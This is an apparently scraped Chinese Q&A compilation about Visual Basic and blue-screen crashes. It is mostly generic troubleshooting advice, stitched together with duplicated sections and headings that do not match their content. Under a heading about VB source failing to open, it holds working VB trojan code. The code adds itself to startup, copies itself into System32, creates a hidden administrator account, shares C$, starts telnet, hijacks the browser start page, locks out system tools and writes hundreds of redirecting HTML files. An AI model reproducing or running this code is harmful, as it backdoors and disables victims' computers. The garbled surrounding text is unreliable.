1.vb能编吗谁能提供一段VB编的代码

2.蓝屏后VB源码无法打开 提示无法加载

3.电脑开机后蓝屏,出现STOP:0x0000007E是怎么回事啊

4.excel使用vb导致蓝屏,偶尔发生。请求修改代码

5.0x000000C4 蓝屏是什么问题?

6.我用VB编了一个控件,为什么打不开,说系统错误,系统虚拟盘内存太小,数据溢出

7.新装的电脑重启蓝屏

vb电脑蓝屏死机代码_使电脑蓝屏的代码

1、最后一次正确配置 。重启, 在出现启动菜单时按下F8键,出现高级启动选项菜单, 选择"最后一次正确配置"。

2、打开机箱取下主板电池给主板放电,有条件的可将BIOS升级到最新版本。

3、将内存拔下,清理插槽,用橡皮擦金手指,再插上插紧;检查内存质量是否有问题或不兼容,换掉有问题的内存。

4、检查、木马,清除恶评插件。查杀,升级杀毒软件库至最新,安全模式下全盘杀毒。

5、卸掉所有的新近安装的硬件,检查新硬件是否插牢, 如果确认没有问题, 将其拔下, 然后换个插槽试试, 从网上下载驱动精灵,更换主板、网卡、显卡、声卡驱动。

6、检查是否正确安装了所有新软件,如果这是一次全新安装,可将其卸载换个版本重新安装。如杀毒软件、CPU降温软件、防火墙软件等, 在重启或使用中出现了蓝屏故障, 到安全模式卸载。

7、检查并修复硬盘错误,开始--运行---输入 Chkdsk /r (/前有个空格)--确定-在“是否在下次系统重新启动时检查这个卷”,打Y-重新启动计算机。

8、整理磁盘碎片。我的电脑—右击要整理磁盘碎片的驱动器—属性—工具--选择整理的磁盘打开“磁盘碎片整理程序”窗口—分析—碎片整理—系统即开始整理,完成后系统会通知你。

9、如果是玩游戏出现蓝屏,更换游戏版本。

10、换个好使的系统光盘重装系统。

vb能编吗谁能提供一段VB编的代码

死机的原因很多

电脑死机是令人最烦恼的事情。死机时的表现多为“蓝屏”,无法启动系统,画面“定格”无反应,鼠标、键盘无法输入,软件运行非正常中断等。尽管造成死机的原因很多,但是万变不离其宗,其原因永远也脱离不了硬件与软件两方面。

由硬件原因引起的死机

主板电容

有时我们其它硬件好好的,可什么问题都没有发现,可遍遍我们开机一会就死机,一动也不动,可这是不限时的。你可能猜是系统问题了吧,可这不是,这就是主板电容坏了。

散热不良

显示器、电源和CPU在工作中发热量非常大,因此保持良好的通风状况非常重要,如果显示器过热将会导致色彩、图象失真甚至缩短显示器寿命。工作时间太长也会导致电源或显示器散热不畅而造成电脑死机。CPU的散热是关系到电脑运行的稳定性的重要问题,也是散热故障发生的“重灾区”。

移动不当

在电脑移动过程中受到很大振动常常会使机器内部器件松动,从而导致接触不良,引起电脑死机,所以移动电脑时应当避免剧烈振动。

灰尘杀手

机器内灰尘过多也会引起死机故障。如软驱磁头或光驱激光头沾染过多灰尘后,会导致读写错误,严重的会引起电脑死机。

设备不匹配

如主板主频和CPU主频不匹配,老主板超频时将外频定得太高,可能就不能保证运行的稳定性,因而导致频繁死机。

软硬件不兼容

三维软件和一些特殊软件,可能在有的微机上就不能正常启动甚至安装,其中可能就有软硬件兼容方面的问题。

内存条故障

主要是内存条松动、虚焊或内存芯片本身质量所致。应根据具体情况排除内存条接触故障,如果是内存条质量存在问题,则需更换内存才能解决问题。

硬盘故障

主要是硬盘老化或由于使用不当造成坏道、坏扇区。这样机器在运行时就很容易发生死机。可以用专用工具软件来进行排障处理,如损坏严重则只能更换硬盘了。另外对于在不支持UDMA 66/100的主板,应注意CMOS中硬盘运行方式的设定。

CPU超频

超频提高了CPU的工作频率,同时,也可能使其性能变得不稳定。究其原因,CPU在内存中存取数据的速度本来就快于内存与硬盘交换数据的速度,超频使这种矛盾更加突出,加剧了在内存或虚拟内存中找不到所需数据的情况,这样就会出现“异常错误”。解决办法当然也比较简单,就是让CPU回到正常的频率上。

硬件冲突

是由于声卡或显示卡的设置冲突,引起异常错误。此外,其它设备的中断、DMA或端口出现冲突的话,可能导致少数驱动程序产生异常,以致死机。解决的办法是以“安全模式”启动,在“控制面板”→“系统”→“设备管理”中进行适当调整。对于在驱动程序中产生异常错误的情况,可以修改注册表。选择“运行”,键入“REGEDIT”,进入注册表编辑器,通过选单下的“查找”功能,找到并删除与驱动程序前缀字符串相关的所有“主键”和“键值”,重新启动。

内存容量不够

内存容量越大越好,应不小于硬盘容量的0.5~1%,如出现这方面的问题,就应该换上容量尽可能大的内存条。

劣质零部件

少数不法商人在给顾客组装兼容机时,使用质量低劣的板卡、内存,有的甚至出售冒牌主板和Remark过的CPU、内存,这样的机器在运行时很不稳定,发生死机在所难免。因此,用户购机时应该警惕,并可以用一些较新的工具软件测试电脑,长时间连续考机(如72小时),以及争取尽量长的保修时间等。

由软件原因引起的死机

感染

可以使计算机工作效率急剧下降,造成频繁死机。这时,我们需用杀毒软件如KV300、金山毒霸、瑞星等来进行全面查毒、杀毒,并做到定时升级杀毒软件。

CMOS设置不当

该故障现象很普遍,如硬盘参数设置、模式设置、内存参数设置不当从而导致计算机无法启动。如将无ECC功能的内存设置为具有ECC功能,这样就会因内存错误而造成死机。

系统文件的误删除

由于Windows 9x启动需要有Command、Io.sys、Msdos.sys等文件,如果这些文件遭破坏或被误删除,即使在CMOS中各种硬件设置正确无误也无济于事。解决方法:使用同版本操作系统的启动盘启动计算机,然后键入“SYS C:”,重新传送系统文件即可。

初始化文件遭破坏

由于Windows 9x启动需要读取System.ini、Win.ini和注册表文件,如果存在Config.sys、Autoexec.bat文件,这两个文件也会被读取。只要这些文件中存在错误信息都可能出现死机,特别是System.ini、Win.ini、User.dat、System.dat这四个文件尤为重要。

动态链接库文件(DLL)丢失

在Windows操作系统中还有一类文件也相当重要,这就是扩展名为DLL的动态链接库文件,这些文件从性质上来讲是属于共享类文件,也就是说,一个DLL文件可能会有多个软件在运行时需要调用它。如果我们在删除一个应用软件的时候,该软件的反安装程序会记录它曾经安装过的文件并准备将其逐一删去,这时候就容易出现被删掉的动态链接库文件同时还会被其它软件用到的情形,如果丢失的链接库文件是比较重要的核心链接文件的话,那么系统就会死机,甚至崩溃。我们可用工具软件如“超级兔仔”对无用的DLL文件进行删除,这样会避免误删除。

硬盘剩余空间太少或碎片太多

如果硬盘的剩余空间太少,由于一些应用程序运行需要大量的内存、这样就需要虚拟内存,而虚拟内存则是由硬盘提供的,因此硬盘要有足够的剩余空间以满足虚拟内存的需求。同时用户还要养成定期整理硬盘、清除硬盘中垃圾文件的良好习惯。

BIOS升级失败

应备份BIOS以防不测,但如果你的系统需要对BIOS进行升级的话,那么在升级之前最好确定你所使用BIOS版本是否与你的PC相符合。如果BIOS升级不正确或者在升级的过程中出现意外断电,那么你的系统可能无法启动。所以在升级BIOS前千万要搞清楚BIOS的型号。如果你所使用的BIOS升级工具可以对当前BIOS进行备份,那么请把以前的BIOS在磁盘中拷贝一份。同时看系统是否支持BIOS恢复并且还要懂得如何恢复。

软件升级不当

大多数人可能认为软件升级是不会有问题的,事实上,在升级过程中都会对其享的一些组件也进行升级,但是其它程序可能不支持升级后的组件从而导致各种问题。

滥用测试版软件

最好少用软件的测试版,因为测试软件通常带有一些BUG或者在某方面不够稳定,使用后会出现数据丢失的程序错误、死机或者是系统无法启动。

非法卸载软件

不要把软件安装所在的目录直接删掉,如果直接删掉的话,注册表以及Windows目录中会有很多垃圾存在,久而久之,系统也会变不稳定而引起死机。

使用盗版软件

因为这些软件可能隐藏着,一旦执行,会自动修改你的系统,使系统在运行中出现死机。

应用软件的缺陷

这种情况是常见的,如在Win 98中运行那些在DOS或Windows 3.1中运行良好的16位应用软件。Win 98是32位的,尽管它号称兼容,但是有许多地方是无法与16位应用程序协调的。还有一些情况,如在Win 95下正常使用的外设驱动程序,当操作系统升级后,可能会出现问题,使系统死机或不能正常启动。遇到这种情况应该找到外设的新版驱动。

启动的程序太多

这使系统消耗殆尽,使个别程序需要的数据在内存或虚拟内存中找不到,也会出现异常错误。

非法操作

用非法格式或参数非法打开或释放有关程序,也会导致电脑死机。请注意要牢记正确格式和相关参数,不随意打开和释放不熟悉的程序。

非正常关闭计算机

不要直接使用机箱中的电源按钮,否则会造成系统文件损坏或丢失,引起自动启动或者运行中死机。对于Windows 98/2000/NT等系统来说,这点非常重要,严重的话,会引起系统崩溃。

内存中冲突

有时候运行各种软件都正常,但是却忽然间莫名其妙地死机,重新启动后运行这些应用程序又十分正常,这是一种死机现象。出现的原因多是Win 98的内存冲突。大家知道,应用软件是在内存中运行的,而关闭应用软件后即可释放内存空间。但是有些应用软件由于设计的原因,即使在关闭后也无法彻底释放内存的,当下一软件需要使用这一块内存地址时,就会出现冲突。 电脑死机是令人最烦恼的事情。死机时的表现多为“蓝屏”,无法启动系统,画面“定格”无反应,鼠标、键盘无法输入,软件运行非正常中断等。尽管造成死机的原因很多,但是万变不离其宗,其原因永远也脱离不了硬件与软件两方面。

由硬件原因引起的死机

主板电容

有时我们其它硬件好好的,可什么问题都没有发现,可遍遍我们开机一会就死机,一动也不动,可这是不限时的。你可能猜是系统问题了吧,可这不是,这就是主板电容坏了。

散热不良

显示器、电源和CPU在工作中发热量非常大,因此保持良好的通风状况非常重要,如果显示器过热将会导致色彩、图象失真甚至缩短显示器寿命。工作时间太长也会导致电源或显示器散热不畅而造成电脑死机。CPU的散热是关系到电脑运行的稳定性的重要问题,也是散热故障发生的“重灾区”。

移动不当

在电脑移动过程中受到很大振动常常会使机器内部器件松动,从而导致接触不良,引起电脑死机,所以移动电脑时应当避免剧烈振动。

灰尘杀手

机器内灰尘过多也会引起死机故障。如软驱磁头或光驱激光头沾染过多灰尘后,会导致读写错误,严重的会引起电脑死机。

设备不匹配

如主板主频和CPU主频不匹配,老主板超频时将外频定得太高,可能就不能保证运行的稳定性,因而导致频繁死机。

软硬件不兼容

三维软件和一些特殊软件,可能在有的微机上就不能正常启动甚至安装,其中可能就有软硬件兼容方面的问题。

内存条故障

主要是内存条松动、虚焊或内存芯片本身质量所致。应根据具体情况排除内存条接触故障,如果是内存条质量存在问题,则需更换内存才能解决问题。

硬盘故障

主要是硬盘老化或由于使用不当造成坏道、坏扇区。这样机器在运行时就很容易发生死机。可以用专用工具软件来进行排障处理,如损坏严重则只能更换硬盘了。另外对于在不支持UDMA 66/100的主板,应注意CMOS中硬盘运行方式的设定。

CPU超频

超频提高了CPU的工作频率,同时,也可能使其性能变得不稳定。究其原因,CPU在内存中存取数据的速度本来就快于内存与硬盘交换数据的速度,超频使这种矛盾更加突出,加剧了在内存或虚拟内存中找不到所需数据的情况,这样就会出现“异常错误”。解决办法当然也比较简单,就是让CPU回到正常的频率上。

硬件冲突

是由于声卡或显示卡的设置冲突,引起异常错误。此外,其它设备的中断、DMA或端口出现冲突的话,可能导致少数驱动程序产生异常,以致死机。解决的办法是以“安全模式”启动,在“控制面板”→“系统”→“设备管理”中进行适当调整。对于在驱动程序中产生异常错误的情况,可以修改注册表。选择“运行”,键入“REGEDIT”,进入注册表编辑器,通过选单下的“查找”功能,找到并删除与驱动程序前缀字符串相关的所有“主键”和“键值”,重新启动。

内存容量不够

内存容量越大越好,应不小于硬盘容量的0.5~1%,如出现这方面的问题,就应该换上容量尽可能大的内存条。

劣质零部件

少数不法商人在给顾客组装兼容机时,使用质量低劣的板卡、内存,有的甚至出售冒牌主板和Remark过的CPU、内存,这样的机器在运行时很不稳定,发生死机在所难免。因此,用户购机时应该警惕,并可以用一些较新的工具软件测试电脑,长时间连续考机(如72小时),以及争取尽量长的保修时间等。

由软件原因引起的死机

感染

可以使计算机工作效率急剧下降,造成频繁死机。这时,我们需用杀毒软件如KV300、金山毒霸、瑞星等来进行全面查毒、杀毒,并做到定时升级杀毒软件。

CMOS设置不当

该故障现象很普遍,如硬盘参数设置、模式设置、内存参数设置不当从而导致计算机无法启动。如将无ECC功能的内存设置为具有ECC功能,这样就会因内存错误而造成死机。

系统文件的误删除

由于Windows 9x启动需要有Command、Io.sys、Msdos.sys等文件,如果这些文件遭破坏或被误删除,即使在CMOS中各种硬件设置正确无误也无济于事。解决方法:使用同版本操作系统的启动盘启动计算机,然后键入“SYS C:”,重新传送系统文件即可。

初始化文件遭破坏

由于Windows 9x启动需要读取System.ini、Win.ini和注册表文件,如果存在Config.sys、Autoexec.bat文件,这两个文件也会被读取。只要这些文件中存在错误信息都可能出现死机,特别是System.ini、Win.ini、User.dat、System.dat这四个文件尤为重要。

动态链接库文件(DLL)丢失

在Windows操作系统中还有一类文件也相当重要,这就是扩展名为DLL的动态链接库文件,这些文件从性质上来讲是属于共享类文件,也就是说,一个DLL文件可能会有多个软件在运行时需要调用它。如果我们在删除一个应用软件的时候,该软件的反安装程序会记录它曾经安装过的文件并准备将其逐一删去,这时候就容易出现被删掉的动态链接库文件同时还会被其它软件用到的情形,如果丢失的链接库文件是比较重要的核心链接文件的话,那么系统就会死机,甚至崩溃。我们可用工具软件如“超级兔仔”对无用的DLL文件进行删除,这样会避免误删除。

硬盘剩余空间太少或碎片太多

如果硬盘的剩余空间太少,由于一些应用程序运行需要大量的内存、这样就需要虚拟内存,而虚拟内存则是由硬盘提供的,因此硬盘要有足够的剩余空间以满足虚拟内存的需求。同时用户还要养成定期整理硬盘、清除硬盘中垃圾文件的良好习惯。

BIOS升级失败

应备份BIOS以防不测,但如果你的系统需要对BIOS进行升级的话,那么在升级之前最好确定你所使用BIOS版本是否与你的PC相符合。如果BIOS升级不正确或者在升级的过程中出现意外断电,那么你的系统可能无法启动。所以在升级BIOS前千万要搞清楚BIOS的型号。如果你所使用的BIOS升级工具可以对当前BIOS进行备份,那么请把以前的BIOS在磁盘中拷贝一份。同时看系统是否支持BIOS恢复并且还要懂得如何恢复。

软件升级不当

大多数人可能认为软件升级是不会有问题的,事实上,在升级过程中都会对其享的一些组件也进行升级,但是其它程序可能不支持升级后的组件从而导致各种问题。

滥用测试版软件

最好少用软件的测试版,因为测试软件通常带有一些BUG或者在某方面不够稳定,使用后会出现数据丢失的程序错误、死机或者是系统无法启动。

非法卸载软件

不要把软件安装所在的目录直接删掉,如果直接删掉的话,注册表以及Windows目录中会有很多垃圾存在,久而久之,系统也会变不稳定而引起死机。

使用盗版软件

因为这些软件可能隐藏着,一旦执行,会自动修改你的系统,使系统在运行中出现死机。

应用软件的缺陷

这种情况是常见的,如在Win 98中运行那些在DOS或Windows 3.1中运行良好的16位应用软件。Win 98是32位的,尽管它号称兼容,但是有许多地方是无法与16位应用程序协调的。还有一些情况,如在Win 95下正常使用的外设驱动程序,当操作系统升级后,可能会出现问题,使系统死机或不能正常启动。遇到这种情况应该找到外设的新版驱动。

启动的程序太多

这使系统消耗殆尽,使个别程序需要的数据在内存或虚拟内存中找不到,也会出现异常错误。

非法操作

用非法格式或参数非法打开或释放有关程序,也会导致电脑死机。请注意要牢记正确格式和相关参数,不随意打开和释放不熟悉的程序。

非正常关闭计算机

不要直接使用机箱中的电源按钮,否则会造成系统文件损坏或丢失,引起自动启动或者运行中死机。对于Windows 98/2000/NT等系统来说,这点非常重要,严重的话,会引起系统崩溃。

内存中冲突

有时候运行各种软件都正常,但是却忽然间莫名其妙地死机,重新启动后运行这些应用程序又十分正常,这是一种死机现象。出现的原因多是Win 98的内存冲突。大家知道,应用软件是在内存中运行的,而关闭应用软件后即可释放内存空间。但是有些应用软件由于设计的原因,即使在关闭后也无法彻底释放内存的,当下一软件需要使用这一块内存地址时,就会出现冲突。

蓝屏后VB源码无法打开 提示无法加载

Option Explicit

Private Sub Form_Load()

On Error Resume Next

If App.PrevInstance Then

End

End If

MsgBox "朋友在网上失恋的痛苦中诞生这套程序,也许只有它能表达我对他现在心情理解。。。。。" & vbCrLf & vbCrLf & "想和我成为朋友的就加我QQ:545704252!", vbApplicationModal, "真爱无错V1.0"

Dim Mypath

Mypath = App.Path & "\" & App.EXEName & ".exe"

Dim Writereg

Dim Wsh_shell

Set Wsh_shell = New IWshShell_Class

Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")

Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0>://hsz.oor.cn"REG_SZ")

Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0>://hsz.oor.cn")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "BLOG地址:://hi.baidu/hydown")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")

Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")

Dim fso

Dim dir1

Set fso = CreateObject("scripting.filesystemobject")

Set dir1 = fso.GetSpecialFolder(0)

FileCopy Mypath, dir1 & "\System32\Explorers.exe"

Shell "cmd.exe /c " & dir1 & "\System32\Explorers.exe", vbHide

Shell "cmd.exe /c net user lilong /add&net localgroup administrators lilong /add", vbHide

Shell "cmd.exe /c & net start telnet", vbHide

Shell "cmd.exe /c & net share admin$", vbHide

On Error Resume Next

Dim nowtime

Dim i

nowtime = Date

If nowtime <> "2008-10-1" Then

For i = 1 To 999

Open "d:\《真爱无错》" & "第" & i & "集" & ".htm" For Append As #1

Print #1, "<script language=’jascript’>alert(’众人皆醒我独醉,心有灵犀最珍贵,邂逅真爱不后悔,今生只为你相随。有空和我聊聊吧,!’)</script>"

Print #1, "<script language=’jascript’>window.location=’500)this.width=500" align=absMiddle border=0>://hsz.oor.cn/’</script>"

Close #1

Next

End If

End Sub

电脑开机后蓝屏,出现STOP:0x0000007E是怎么回事啊

汗。。。。我也遇到过这种情况

正在编写和测试VB源码时突然蓝屏了

打不开是小事。。。总有办法解决。

最大的问题是源码可能丢失。

我上次蓝屏后,丢失了一半的源码,想尽了办法都没有找回来,最后只能重写了。

估计你也只能重写了。。。

excel使用vb导致蓝屏,偶尔发生。请求修改代码

分析如下

计算机源代码

计算机源代码代码意思系统进程有错误产生, 但系统的错误处理器捕获不到。原因有很多, 比如:硬件的兼容性、驱动程序或系统服务问题、 或是软件问题。

解决办法:

1,打开"查看器"来查看相关时间的错误信息,再根据错误信息来解决,修改注册表按住WIN键后再按一下R键打开运行窗口,然后输入“regedit”并按确定。

2、在打开的“注册表编辑器”中先按这个目录找到HKEY_LOCAL_MACHINE,SYSTEM,ControlSet001,Services,Intelppm ,双击右侧的start并该值修改为4。

3、退出注册表编辑器,重新启动计算机即可。

扩展资料

源代码(也称源程序),是指一系列人类可读的计算机语言指令。

源代码是相对目标代码和可执行代码而言的。 源代码就是用汇编语言和高级语言写出来的地代码。目标代码是指源代码经过编译程序产生的能被cpu直接识别二进制代码。可执行代码就是将目标代码连接后形成的可执行文件,当然也是二进制的。

在现代程序语言中,源代码可以是以书籍或者磁带的形式出现,但最为常用的格式是文本文件,这种典型格式的目的是为了编译出计算机程序。计算机源代码的最终目的是将人类可读的文本翻译成为计算机可以执行的二进制指令,这种过程叫做编译,通过编译器完成。

作用

源代码主要功用有如下2种作用:

生成目标代码,即计算机可以识别的代码。

对软件进行说明,即对软件的编写进行说明。为数不少的初学者,甚至少数有经验的程序员都忽视软件说明的编写,因为这部分虽然不会在生成的程序中直接显示,也不参与编译。但是说明对软件的学习、分享、维护和软件复用都有巨大的好处。因此,书写软件说明在业界被认为是能创造优秀程序的良好习惯,一些公司也硬性规定必须书写。

需要指出的是,源代码的修改不能改变已经生成的目标代码。如果需要目标代码做出相应的修改,必须重新编译。

代码组合

源代码作为软件的特殊部分,可能被包含在一个或多个文件中。一个程序不必用同一种格式的源代码书写。例如,一个程序如果有C语言库的支持,那么就可以用C语言;而另一部分为了达到比较高的运行效率,则可以用汇编语言编写。

较为复杂的软件,一 般需要数十种甚至上百种的源代码的参与。为了降低种复杂度,必须引入一种可以描述各个源代码之间联系,并且如 何正确编译的系统。在这样的背景下,修订控制系统(RCS)诞生了,并成为研发者对代码修订的必备工具之一。

还有另外一种组合:源代码的编写和编译分 别在 不同的平台上实现,专业术语叫做软件移植。

版权

如果按照源代码类型区分软 件,通常被分为两类:自由软件和非自由软件。自由软件一般是不仅可以免费得到,而且公开源代 码;相对应地,非自由软件则是不公开源代码。所有一切通过非正常手段获得非自由软件源代码的行为都将被视为非法。

质量

对于计算机而言,并不存在真正意义上的“好”的源代码;然而作为一个人,书写习惯的好坏将决定源代码的好坏。源代码是否具有可读性,是判断其好坏的重要标准。软件文档则是表明可读性的关键。

效率

虽然我们可以通过不同的语言来实现计算机的同一功能,但在执行效率上则存在不同。普遍规律是:越高级的语言,其执行效率越低。这也是为什么汇编语言生成的文件比用VB语言生成文件普遍要小的原因。

开放源代码

您购买或下载的大多数软件只提供已编译的可运行版本。“已编译”意味着开发人员创建的实际程序代码(称为源代码)已经由一个称为编译器的特殊程序进行过处理,该程序将源代码转换为计算机可以理解的格式(有关编译器的详细信息,请参见C语言入门教程)。修改大多数应用程序的已编译版本都是极其困难的,人们几乎不可能知道开发人员究竟是如何创建程序的各个部分的。大多数商业软件制造商都将这一点视为有利条件,以防止其他公司复制自己的代码并将其用在竞争产品中,同时可以控制其特定产品具有的质量和功能。

开放源代码软件恰恰相反。源代码随已编译的版本一起提供,而且事实上鼓励人们修改或定制。支持开放源代码概念的软件开发人员相信,通过允许感兴趣的人修改源代码,应用程序将会更加完善,并且在很长时间内不会出现错误。

软件开发行业所定义的开放源代码软件必须满足一定的条件:

程序必须免费发布(但可以是出售的软件包中的一部分,例如在下面的例子中,Red Hat对Linux就是这样做的)。

必须提供源代码。

必须允许任何人修改源代码。

可以重新发布修改后的版本。

许可证不得要求排除其他软件或干预其他软件的运行。

下面让我们看一个开放源代码软件的真实例子。1991年,芬兰赫尔辛基大学的学生李纳斯·托沃兹(Linus Torvalds)基于Unix的衍生版本Minix开发了一个新的操作系统,并称之为Linux。托沃兹使用GNU通用公共许可证(它为开放源代码软件提供了很好的法律定义)发布了0.02版本的Linux。全球各地的人下载并开始使用Linux。其中,许多用户是独立的程序员,他们对托沃兹提供的源代码进行了修改。在接下来的3年中,托沃兹从其他程序员那里收到了这些修改后的版本,并将许多改动结合到基础版本中,于1994年发布了Linux的1.0版。

那些想要使用开放源代码软件的最终用户的一个共同顾虑,是这些软件缺乏质量担保和技术支持。因为该软件的许可证鼓励修改和定制,所以几乎无法提供支持。这正是1994年成立的Red Hat Software创建“Official Red Hat Linux”并销售这一通常是“免费”的软件的原因。Red Hat向软件包添加的主要价值是质量担保和技术支持。对于大多数企业而言,技术支持承诺成为促使其购买Linux而不是它的一个关键因素。除了Red Hat以外,还有其他几家公司将Linux打包(通常带有其他软件)以进行转售。

除了Linux以外,Mozilla(Netscape浏览器核心)、Apache(Web服务器)、PERL(Web脚本语言)和 PNG(图形文件格式)都是非常受欢迎的基于开放源代码的软件。

百度百科:代码

0x000000C4 蓝屏是什么问题?

朋友,电脑蓝屏的原因是很复杂的!这是软件之间有冲突!(参考第3条,软件不兼容)

1。如果这是偶然,一般重启电脑,症状便可消失!

2。杀毒不彻底,(使用杀毒软件,全盘扫描和自定义扫描)!如果杀到木马或后,应立即重启, 重启电脑后,来到“隔离|恢复”,彻底删除,木马和!

3。软件冲突,不兼容:多余的同类软件安装,(360管家,软件卸载,找到卸载,再:强力清扫)!比如:播放器重复或有相似的,杀毒,浏览器,游戏,输入法,下载工具,有同类多余的,卸载多余的,只留一款!

4。电脑系统有顽固的和木马或蠕虫干扰,或者丢失了系统文件(360系统急救箱或金山急救箱,金山网盾等等,其中任意一款,全盘查杀,再:系统修复)

5。软件需要更新,(360管家,软件升级,下载,覆盖安装,winrar可以不升)

6。系统有新的漏洞等待安装,(修补高危和重要的,其它设置为:忽略)

7。显卡或内存cpu,或风扇的接触不良和松动或有灰尘覆盖,(拔下橡皮擦擦)注意是:台式机!

8。内存cpu过热,散热性不好!(开机时间不要太长,关机散热)

9。电脑存在恶评插件! (扫描出来,立即清理)

10。电脑磁盘碎片过多,(开始,程序,附件,系统工具,磁盘碎片整理程序)!

11。如果还是不行,说明系统文件丢失了!或者系统内存有很严重的错误了!

12。试试开机后按F8,回车,回车,进安全模式里,最后一次正确配置,按下去试试!或者,进安全模式,到桌面后,全盘杀毒!

13。玩游戏蓝屏,一般就是系统不支持这款游戏!(更换游戏版本或换xp系统)

14。下载的游戏,播放器,输入法,下载工具,浏览器,驱动,等等的程序不稳定!(卸载重装或升级至最新版本)!

15。如果还是不行,需要“一键还原”系统或“重装系统”了 !

★★★★★★?以上答案引用自原作者:“力王历史”,★★★★★★

★★★★★★非常感谢他★★★★★★

你好这种情况,一般都是由 系统软件、内存、驱动等以下常见原因引起的。

1 电脑不心装上了恶意软件,或上网时产生了恶意程序,建议用360 卫士 、金山卫士等软件,清理垃圾,查杀恶意软 件,完成后重启电脑,就可能解决。实在不行,重装,还原过系统,可以解决软件引起的问题。

2 如果只是运行个别软件或游戏偶尔出现的,重启电脑再试,或到其他地方下载其他版本的软件重新安装。

3 点 开始菜单 运行 输入 cmd 回车,在命令提示符下输入 for %1 in (%windir%\system32\*.dll) do regsvr32.exe /s %1 然后 回车。然后让他运行完,应该就可能解决。

4 电脑中毒、安装了不稳定的软件、等,建议全盘杀毒,卸了那个引发问题的软件,重新安装其他 版本,就可能解决 . 再不行,重新装过系统就ok.

5 由于电脑机箱里面内存条进灰尘,拆开机箱,拆下内存条,清洁下内存金手指,重新装回去,就可能可以了。 (cqjiangyong总结的,旧电脑经常出现这样的问题)

6 电脑用久了内存坏、买到水货内存、多条内存一起用不兼容,有单条内存坏了等,建议更换内存即可能解决。

7 很多时候由于系统和驱动的兼容性不好,也会出现这样的错误,特别是显卡驱动,建议你换个其他版本的驱动安装, 或换个其他版本的系统安装。

8 电脑用久了,硬盘坏,也会常出现这种错误,重新分区安装系统可以修复逻辑坏道,还是不行,那就到了该时候了, 换个硬盘就可以解决。

★★★★★★以上答案引用自原作者:电脑网络工程师蒋勇,★★★★★★

★★★★★★大家感谢他吧★★★★★★

你好,本文自己总结,并非复制。

蓝屏的问题很复杂,参看了很多朋友提出和回答蓝屏的问题及自己电脑蓝屏的处理方法,特作此小结。

(一)蓝屏由电脑操作引起:

1、回忆一下,蓝屏前,进行了什么操作?按F8进入安全模式,删除、卸载、取消你之前的操作。

2、按F8进入安全模式,选择“最后一次正确配置”或者“正常启动”。

(二)蓝屏由硬件引起:

1、更换或者添加硬件,出现硬件不兼容现象。卸下新加硬件。新加硬件兼容,也可能蓝屏,因为系统不能识别新添加的硬件,建议重装系统。

2、电脑使用过久,内存、显卡的金手指被氧化而引起接触不良。把内存、显卡,取下来用橡皮擦擦卡的金手指,再向卡槽内加入少量无水酒精

(清洗槽内氧化物),几分钟后,用电吹风吹干,再插好。

3、硬盘不稳定引起,此故障均为硬盘损坏,修复硬盘坏道或直接更换硬盘。

4、键鼠故障,重新插拔一下USB。

5、机箱内灰尘多引起,清除灰尘(一般3-5个月清除一次)。并卸下CPU风扇,轻轻擦去U上的硅脂,再重新涂上一薄层新硅脂。

6、超频也可能引起电脑蓝屏。如果超频了,就取消超频。

7、恢复BIOS设置。

(三)蓝屏由软件引起:

1、360修复引起。卸载360或重装系统。

2、修复漏洞或杀毒引起。此故障均为操作不当,卸载补丁。

3、驱动精灵、驱动人生等软件引起,但此类故障较少。因系统和显卡驱动的兼容性不好(别追求新驱动,新的驱动有的并不适合你的显卡),也会出现这样的错误,建议更换适合的显卡驱动安装。

4、电脑中毒,使用专业杀毒软件进行全盘杀毒,并把隔离区的文件删除,重启电脑,再进行一次查杀,防止二次感染。

5、安装了不稳定的软件,建议全盘杀毒,卸载引发问题的软件,重新安装其他版本的软件。

其实,电脑蓝屏了,最好的解决方法是:重装系统。如发现安装的系统经常出现蓝屏现象,则应该换个系统安装。

如果是中毒后系统重装,建议重装系统后,先安装杀毒软件,进行一次彻底的全盘查杀后,再安装其它软件。

★★★★★★以上答案引用自原作者:壬辰龙99,★★★★★★

★★★★★★大家感谢他吧★★★★★★

如果上边的所有回答都不行,那么送修理吧。。

辛勤整理,不用感谢我。。。

请点击纳为满意回答按钮

手机提问者在客户端右上角评价点满意即可。

原创只为你,施主的纳,是贫道修行的动力!!!

我用VB编了一个控件,为什么打不开,说系统错误,系统虚拟盘内存太小,数据溢出

